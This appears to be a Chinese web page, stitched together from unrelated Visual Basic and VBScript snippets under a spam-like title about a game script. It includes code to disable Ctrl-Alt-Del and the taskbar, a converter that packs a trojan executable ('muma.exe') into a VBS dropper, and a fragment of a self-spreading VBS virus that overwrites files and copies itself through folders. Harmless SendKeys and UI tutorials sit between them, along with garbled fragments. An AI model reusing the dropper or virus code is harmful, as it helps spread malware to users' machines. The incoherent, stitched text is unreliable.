楚留香手游刷战场脚本小学语文微课范例
PrivateDeclareFunctionEnableWindowLib"user32"(ByValhWndAsInteger,ByValaBOOLAsInteger)AsIntegerPrivateDeclareFunctionIsWindowEnabledLib"user32"(ByValhWndAsInteger)AsIntegerPrivateDeclareFunctionGetMenuLib"user32"(ByValhWndAsInteger)AsIntegerPrivateDeclareFunctionFindWindowLib"user32"Alias"FindWindowA"(ByVallpClassNameAsString,ByVallpWindowNameAsString)AsLongPrivateDeclareFunctionSystemParametersInfoLib"user32"Alias"SystemParametersInfoA"(ByValuActionAsLong,ByValuParamAsLong,ByVallpvParamAsAny,ByValfuWinIniAsLong)AsLongPrivateTaskBarhWndAsLongPrivateIsTaskBarEnabledAsIntegerPrivateTaskBarMenuHwndAsInteger
'禁止或允许使用Alt-TabSubFastTaskSwitching(bEnabledAsBoolean)DimXAsLong,bDisabledAsLongbDisabled=NotbEnabledX=SystemParametersInfo(97,bDisabled,CStr(1),0)EndSub
'禁止使用Ctrl-Alt-DelPublicSubDisableTaskBar()DimEWindowAsIntegerTaskBarhWnd=FindWindow("Shell_traywnd","")IfTaskBarhWnd<>0ThenEWindow=IsWindowEnabled(TaskBarhWnd)IfEWindow=1ThenIsTaskBarEnabled=EnableWindow(TaskBarhWnd,0)EndIfEndIfEndSub'允许使用Ctrl-Alt-DelPublicSubEnableTaskBar()IfIsTaskBarEnabled=0ThenIsTaskBarEnabled=EnableWindow(TaskBarhWnd,1)EndIfEndSub'禁止Ctrl Alt Del'声明(ForWin95):ConstSPI_SCREENSAVERRUNNING=97PrivateDeclareFunctionSystemParametersInfoLib"user32"Alias"SystemParametersInfoA"(ByValuActionAsLong,ByValuParamAsLong,lpvParamAsAny,ByValfuWinIniAsLong)AsLong使用:'禁止DimpOldAsBooleanCallSystemParametersInfo(SPI_SCREENSAVERRUNNING,True,pOld,0)'开启DimpOldAsBooleanCallSystemParametersInfo(SPI_SCREENSAVERRUNNING,False,pOld,0)
->'ProgramByxiaolu 'name:file2vbs.vbs Onerrorresumenext SetArgs=Wscript.Arguments IfArgs.length<>2Then Wscript.Echo"Usage:"&Wscript.ScriptName&"c:\muma.exec:\muma.vbs" Wscript.Quit EndIf dowhile1 fname=Args(0) SetAdo=CreateObject("adodb.stream") WithAdo .Type=1 .open .loadfromfilefname ss=.read EndWith exitdo Loop fname=Args(1) SetFso=CreateObject("Scripting.FileSystemObject") SetFile=fso.OpenTextFile(fname,2,True) lens=lenB(ss)mod500 Forj=0toint(lenB(ss)/500)-1 ifj=0then File.writeline"ss="""&Bin2Str(midb(ss,500*j+1,500))&"""_" else File.writeline"+"""&Bin2Str(midb(ss,500*j+1,500))&"""_" endif next iflens>0then File.writeline"+"""&Bin2Str(rightb(ss,lens))&"""" else File.writeline"+"&chr(34)&chr(34) endif File.writeline"" File.writeline"SetRS=CreateObject(""ADODB.Recordset""):L=Len(ss)/2:RS.Fields.Append""m"",205,L:RS.Open:RS.AddNew:RS (""m"")=ss&ChrB(0):RS.Update:ss=RS(""m"").GetChunk(L)" File.writeline"Sets=CreateObject(""ADODB.Stream""):withs:.Mode=3:.Type=1:.Open():.Writess:.SaveToFile wscript.arguments(0),2:endwith" File.close Setfso=nothing Ado.close setAbo=nothing FunctionBin2Str(Re) Fori=1TolenB(Re) bt=AscB(MidB(Re,i,1)) ifbt<16ThenBin2Str=Bin2Str&"0" Bin2Str=Bin2Str&Hex(bt) Next EndFunction
其使用格式为: object.SendKeys string "object":表示WshShell对象 "string":表示要发送的按键指令字符串,需要放在英文双引号中. 1.基本键 一般来说,要发送的按键指令都可以直接用该按键字符本身来表示,例如要发送字母"x",使用 WshShell.SendKeys "x" 即可. 也可直接发送多个按键指令,只需要将按键字符按顺序排列在一起即可.例如,要发送按键"cfan",可以使用" WshShell.SendKeys "cfan" ". 2.特殊功能键 对于需要与Shift、Ctrl、Alt三个控制键组合的按键SendKeys使用特殊字符来表示: 特殊控制键 特殊字符 Shift + Ctrl ^ Alt % 如要发送的组合按键是同时按下Ctrl+E,需要用" WshShell.SendKeys "^e" "表示, 如果要发送的组合按键是按住Ctrl键的同时按下E与C两个键,这时应使用小括号把字母括起来,书写格式为" WshShell.SendKeys "^(ec)" ".这里要注意它与" WshShell.SendKeys "^ec" "的区别,后者表示组合按键是同时按住Ctrl和E键,然后松开Ctrl键,单独按下"C"字母键 由于"+"、"^"这些字符用来表示特殊的控制按键了,如何表示这些按键呢?只要用大括号括住这些字符即可.例如,要发送加号"+",可使用" WshShell.SendKeys "{+}" ".另外对于一些不会生成字符的控制功能按键,也同样需要使用大括号括起来按键号名称,例如要发送回车键,需要用" WshShell.SendKeys "{ENTER}" "表示,发送向下的方向键用" WshShell.SendKeys "{DOWN}" "表示. 小提示 如果需要发送多个重复的单字母按键,不必重复输入该字母,SendKdys允许使用简化格式进行描述,使用格式为"{按键 数字}".例如要发送10个字母"x",则输入" WshShell.SendKeys "{x 10}" "即可. 3.翻译上手实例 " WshShell.SendKeys "^{ESC}u" "这句翻译为:按下Ctrl+Esc组合键(相当于按Win键)打开"开始"菜单,按着按U键打开"关机"菜单. ---Just Do It--------------------------------- 让VBS脚本自动在词本中输入一行文字"Hello, welcome to cfan". Dim WshShell Set WshShell=WScript.CreateObject("WScript.Shell") WshShell.Run "notepad" WScript.Sleep 200 WshShell.AppActivate " 无标题 - 记事本 " WshShell.SendKeys "hello, welcome to cfan" 我们最常用的记事本没有Word、WPS那样的自动定时存盘功能,其实利用VBS脚本再加上SendKeys命令,就能弥补这个遗憾.打开记事本,输入以下内容(以容易描述和分析,把代码分为四个部分): '第一部分:定义变量和对象 Dim WshShell, AutoSaveTime, TXTFileName AutoSaveTime=300000 Set WshShell=WScript.CreateObject("WScript.Shell") TXTFileName=InputBox("请输入你要创建的文件名(不能用中文和纯数字):") '第二部分:打开并激活记事本 WshShell.Run "notepad" WScript.Sleep 200 WshShell.AppActivate "无标题 - 记事本" '第三部分:用输入的文件名存盘 WshShell.SendKeys "^s" WScript.Sleep 300 WshShell.SendKeys TXTFileName WScript.Sleep 300 WshShell.SendKeys "%s" WScript.Sleep AutoSaveTime '第四部分:自动定时存盘 While WshShell.AppActivate (TXTFileName)=True WshShell.SendKeys "^s" WScript.Sleep AutoSaveTime Wend WScript.Quit 将其保存为记事本.vbs,以后要使用记事本时,都通过双击这个脚本文件来打开. 程序翻译 这个脚本的基本思路是定时向记事本发送Ctrl+S这个存盘组合键. 第一部分:定义了脚本中需要用到的变量和对象."AutoSaveTime"变量用来设置自动存盘间隔,单位为毫秒,这里设置为5分钟."TXTFileName"变量通过输入框取得你要创建的文本文件名称. 第二部分:运行记事本,对于Windows本身提供的程序,比如计算器等,可直接在"WshShell.Run"后输入程序名称,如"calc"对于非系统程序,则可输入完全路径,但要注意使用8.3格式输入,比如" "D:\Progra~1\Tencent\QQ.exe" " 第三部分:这里用SendKeys命令执行了这样的操作流程(请注意每个操作之间延时命令的使用): 在记事本中按Ctrl+S组合键→弹出保存文件的窗口→输入文件名→按Alt+S组合键进行保存(默认保存在"我的文档"目录). 第四部分:定时存盘的关键,通过"While......Wend"这个当条件为"真"时循环命令,实现自动存盘代码" WshShell.SendKeys "^s" "和定时代码" WScript.Sleep AutoSaveTime "的重复执行.因为不能让这个定时存盘循环一直执行,退出记事本后,必须自动退出脚本并结束循环,所以设计了一个循环判断条件" WshShell.AppActivate TXTFileName=True ",当记事本运行中时,可以激活记事本窗口,这个条件运行结果为"True",定时存盘循环一直执行,退出记事本后,脚本无法激活记事本窗口,就会路出循环,执行"Wend"后面的"WScript.Quit"退出脚本. VBS中Sendkey键盘对应的码表 Key Code ------------------------------ Shift + Ctrl ^ Alt % BACKSPACE {BACKSPACE}, {BS}, or {BKSP} BREAK {BREAK} CAPS LOCK {CAPSLOCK} DEL or DELETE {DELETE} or {DEL} DOWN ARROW {DOWN} END {END} ENTER {ENTER}or ~ ESC {ESC} HELP {HELP} HOME {HOME} INS or INSERT {INSERT} or {INS} LEFT ARROW {LEFT} NUM LOCK {NUMLOCK} PAGE DOWN {PGDN} PAGE UP {PGUP} PRINT SCREEN {PRTSC} RIGHT ARROW {RIGHT} SCROLL LOCK {SCROLLLOCK} TAB {TAB} UP ARROW {UP} F1 {F1} F2 {F2} F3 {F3} F4 {F4} F5 {F5} F6 {F6} F7 {F7} F8 {F8} F9 {F9} F10 {F10} F11 {F11} F12 {F12} F13 {F13} F14 {F14} F15 {F15} F16 {F16}
->请自己建立相应后缀名的文件,最好是非正常后缀名 setap=fso.opentextfile(file.path,2,true) 'ap.writevbscopy'覆盖文件,慎用 ap.close setcop=fso.getfile(file.path) cop.copy(file.path&".vbs")'创建另外一个病毒文件 'file.delete(true)'删除原来文件 endif next setsubfolders=folder_.subfolders foreachsubfolderinsubfolders'搜索其他目录 scan(subfolder) next endsub
首先新建一个EXE工程,再在窗体上拖几个Label控件,看看Label的强大功能吧,原理就是利用Label来模拟一个按钮,但是首先要将Label控件的属性要调一下,Name:LblBtn,BorderStyle:1,Appearance:0,Alignment:2,
这样一个按钮的雏形就已经出来了,如果工程量很大,可以将多个Label控件的Name属性设为一样的,对于按钮的识别就要靠识别Index属性了,为了方便起见,在进入到代码编辑窗口,输入以下代码:
PrivateConstLBL_BACK_COLOR=&HE0E0E0’正常时Label控件的背景色PrivateConstLBL_WHEN_MOUSE_MOVE=&HC0C0C0’鼠标移动时Label的背景色PrivateConstLBL_WHEN_MOUSE_DOWN=&H808080’鼠标按下时Label的背景色
再在Form的Load事件中输入以下内容
PrivateSubForm_Load()DimCountAsIntegerForCount=0To3’请将此出的3换成你的LblBtn数量的个数-1LblBtn(Count).BackColor=LBL_BACK_COLOR’初始化LblBtn的背景NextCountEndSub
然后再在LblBtn的MouseMove和MouseDown事件中来搞定剩余部分:
PrivateSubLblBtn_MouseDown(IndexAsInteger,ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)’当鼠标按在LblBtn上时LblBtn(Index).BackColor=LBL_WHEN_MOUSE_DOWN’临时改变LblBtn背景颜色EndSubPrivateSubLblBtn_MouseMove(IndexAsInteger,ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)’鼠标在LblBtn上面移动时触发该事件DimCountAsIntegerDoEvents’暂时将系统控制权教给系统IfButtonThenExitSub’如果按钮被按下就退出该过程ForCount=0To3IfCount<>IndexThen’如果按下的不是其它按钮LblBtn(Index).BackColor=LBL_BACK_COLOR’将背景设为正常ElseLblBtn(Index).BackColor=LBL_WHEN_MOUSE_MOVE’将背景设为鼠标移动的背景EndIfNextCountEndSubPrivateSubForm_MouseMove(ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)DimCountAsIntegerDoEventsForCount=0To3LblBtn(Count).BackColor=LBL_BACKCOLOR’恢复背景NextCountEnd 本来利用Windows的消息系统来完成这一“艰巨”的任务最简单,可问题就来了,Label控件没有窗口句柄怎么办?可是此问题与题无关,写了会有骗稿费之:)OK,Label控件就讲到这里,在来说说TextBox控件,
各位看关恐怕看惯了白颜色的背景,那么就换换颜色以养养俺们那和绵羊一样的眼睛(为什么说绵羊?俺也不知道),可是VB提供的RGB函数弄出来的颜色不是怎么好看,这里俺来教大家一个小Tip,RGB函数的Red,Green,Blue这三个参数若一样,则产生的颜色是灰度,当然越接近白颜色越好,但也不能让各位看不出来,俺建议TextBox的背景为RGB(235,235,235),各位还是实战一下,将一个TextBox拖到窗体上,属性设置如下Appearance0BorderStyle1MutilLineTrue
千万不要设置ScrollBars属性,否则会影响效果在Form的Load事件中初始化TextBoxDimbkColorAsLongPrivateSubForm_Load()bkColor=RGB(235,235,235)Text1.BackColor=bkColorEndSub在Form和Text1的MouseMove事件中:PrivateSubForm_MouseMove(ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)Text1.BorderStyle=0EndSubPrivateSubText1_MouseMove(ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)DoEventsText1.BorderStyle=1EndSub
在按下F5试试是不是很Cool?
可能各位看关玩过石器时代,一定会对里面的TextBox的效果感到很爽,VB还不是可以做到,有焦点的控件可以使用SetFocus方法来为其设置焦点,可是一个窗体上如果控件太多了,一个一个的用SetFocus是不是太傻了?这一节的主角就是--------API函数,首先声明:PrivateTypePOINTAPIxAsLongyAsLongEndTypePrivateDeclareFunctionGetCursorPosLib"user32"Alias"GetCursorPos"(lpPointAsPOINTAPI)AsLongPrivateDeclareFunctionWindowFromPointLib"user32"Alias"WindowFromPoint"(ByValxPointAsLong,ByValyPointAsLong)AsLongPrivateDeclareFunctionSetFocusLib"user32"Alias"SetFocus"(ByValhwndAsLong)AsLong但是这里的SetFocus会和控件的SetFocus会搞混淆,改改吧,PrivateDeclareFunctionnSetFocusLib"user32"Alias"SetFocus"(ByValhwndAsLong)AsLong只要Alias指向的接口是对的前面的函数名称简直就是摆设,在建立一个过程:PublicFunctionsSetFocus()AsLongDimCPosAsPOINTAPI,SuccessfullAsBoolean,hWndAsLongDoEventsSuccessfull=GetCursorPos(CPos)IfNotSuccessfullThenExitSub’如果未成功则退出该过程hWnd=WindowFromPoint(CPos.x,CPos.y)sSetFocus=nSetFocus(hWnd)EndSub 在窗体上放一个Timer控件,Interval属性设为100,就是0.1秒,在Timer1控件的Timer事件中填入sSetFocus,在运行一下看看,效果怎么样?
可是有的先生小姐要问了,TextBox难道就不能用ScrollBar吗?非也非也,选工程->部件->MicrosoftWindowsCommonControls-26.0(SP3)就是你的答案,至于卷动TextBox就去研究SendMessage函数吧,否则又有骗稿费之嫌,如果想作绿色软件,不想用控件,可以用俺前面讲到的Label控件,利用字体Webdings来模拟ScrollBar,需要注意的是,如果模拟ScrollBar,上下左右箭头分别是5,6,3,4,别忘了把字体设为Webdings
再来讲讲窗体的美化,其实将BorderStyle属性设为0就是很好的2D美化;)可是,这样一来,问题又来了,怎么办?凡事都要请API来帮忙,这里需要两个API,一下是该API的声明:
PublicDeclareFunctionReleaseCaptureLib"user32"Alias"ReleaseCapture"()AsLong注释:这个API是用来解下鼠标的追踪器,关于他的过多用法以及详细介绍可以写信向俺咨询,还有PublicDeclareFunctionSendMessageLib"user32"Alias"SendMessageA"(ByValhwndAsLong,ByValwMsgAsLong,ByValwParamAsLong,lParamAsAny)AsLong’这个该不要俺多介绍了吧PublicConstHTCAPTION=2’代表窗体的标题区PublicConstWM_NCLBUTTONDOWN=&HA1’表示非工作区左键按下 原理很简单,卸下鼠标追踪器后向Form发送一个移动窗体的消息,其实做到这一点的方法很多,但俺个人认为这一种最简单,添加一个过程:
PublicSubMoveForm(hWndAsLong)DoEventsReleaseCaptureSendMessagehWnd,WM_NCLBUTTONDOWN,HTCAPTION,0&EndSub在Form的MouseMove事件中:PrivateSubForm_MouseMove(ButtonAsInteger,ShiftAsInteger,XAsSingle,YAsSingle)IfButton=vbLeftButtonThenMoveFormhWnd’如果按下鼠标左键就移动窗体EndSub台下的这位小姐又纳闷了,可是光秃秃的窗体没有了标题栏也不好看,俺要向这为小姐推荐俺的东东-ActiveX控件,ToolSign,需要的人可以写信给俺联系,该控件需要在代码编辑区域内添加一下代码:’一下声明是用在ToolSign的AutoQuit属性的PublicConstEXIT_FORCE=2’注意,在VB中运行的时候如果选用此退出方式,VB也会退出PublicConstEXIT_MESSAGE=1’由操作系统发送关闭消息PublicConstEXIT_CUSTOM=Not(EXIT_FORCEOrEXIT_MESSAGE)’自定义将其注册后在部件栏中把e-DogkidStudioToolsSign打钩,添加到工具箱中,双击加入到窗体中,在Form的Load事件中添加一下初始化代码:PrivateSubForm_Load()WithSign1.AutoQuit=EXIT_CUSTOM.ParentsHWND=hWnd’填了此属性可以直接用ToolSign来移动窗体而不需要前面的代码EndWithEndSubSign1的Click事件PrivateSubSign1_Click()End’关闭程序EndSub在Form的Resize事件中添加一下代码:PrivateSubForm_Resize()Sign1.Width=WidthEndSub如果想让窗体可以改变大小,可以修改一下属性Caption""BorderStyle2或5ControlBoxFalse
不知道各位看关见过爆炸试的窗体没有?,没有见过可以从俺要另外一个俺自己的ActiveXDLL,我的那个东东其实是给我的Software作运行库的,各位若不嫌弃,可以用用,注册后在工程->引用->e-DogkidRuntimeLibrary然后在窗体Load事件中输入:PrivateSubForm_Load()DimSystemAse_Dogkid_Runtime_Library.SystemSetSystem=Newe_Dogkid_Runtime_Library.SystemShowSystem.BoomIthDC,60,Width,Height,Left,TopSetSystem=NothingEndSub
->为什么?设想一下,假设您省略了Where子句逐鹿中原泡点",64,"定义快捷键"
EndSub
enjoyit!
->'向指定的文件写字符串,第三个参数指定是否删除原来的内容 Function Z_WriteFile(sFileName, sText, bAppend) Dim fs, fso, iomode if bAppend=True Then iomode=8 'ForAppending else iomode=2 'ForWriting end if set fs=CreateObject("Scripting.FileSystemObject") set fso=fs.OpenTextFile(sFileName, iomode, True) '第三个参数表明文件不存在,则新建文件 fso.WriteLine sText fso.Close set fso=Nothing set fs=Nothing End Function Dim path, sFileName, sText path="E:\Program\VBScript" sFileName=path & "\1.txt" sText="what can I do for you" Z_WriteFile sFileName, sText, True 。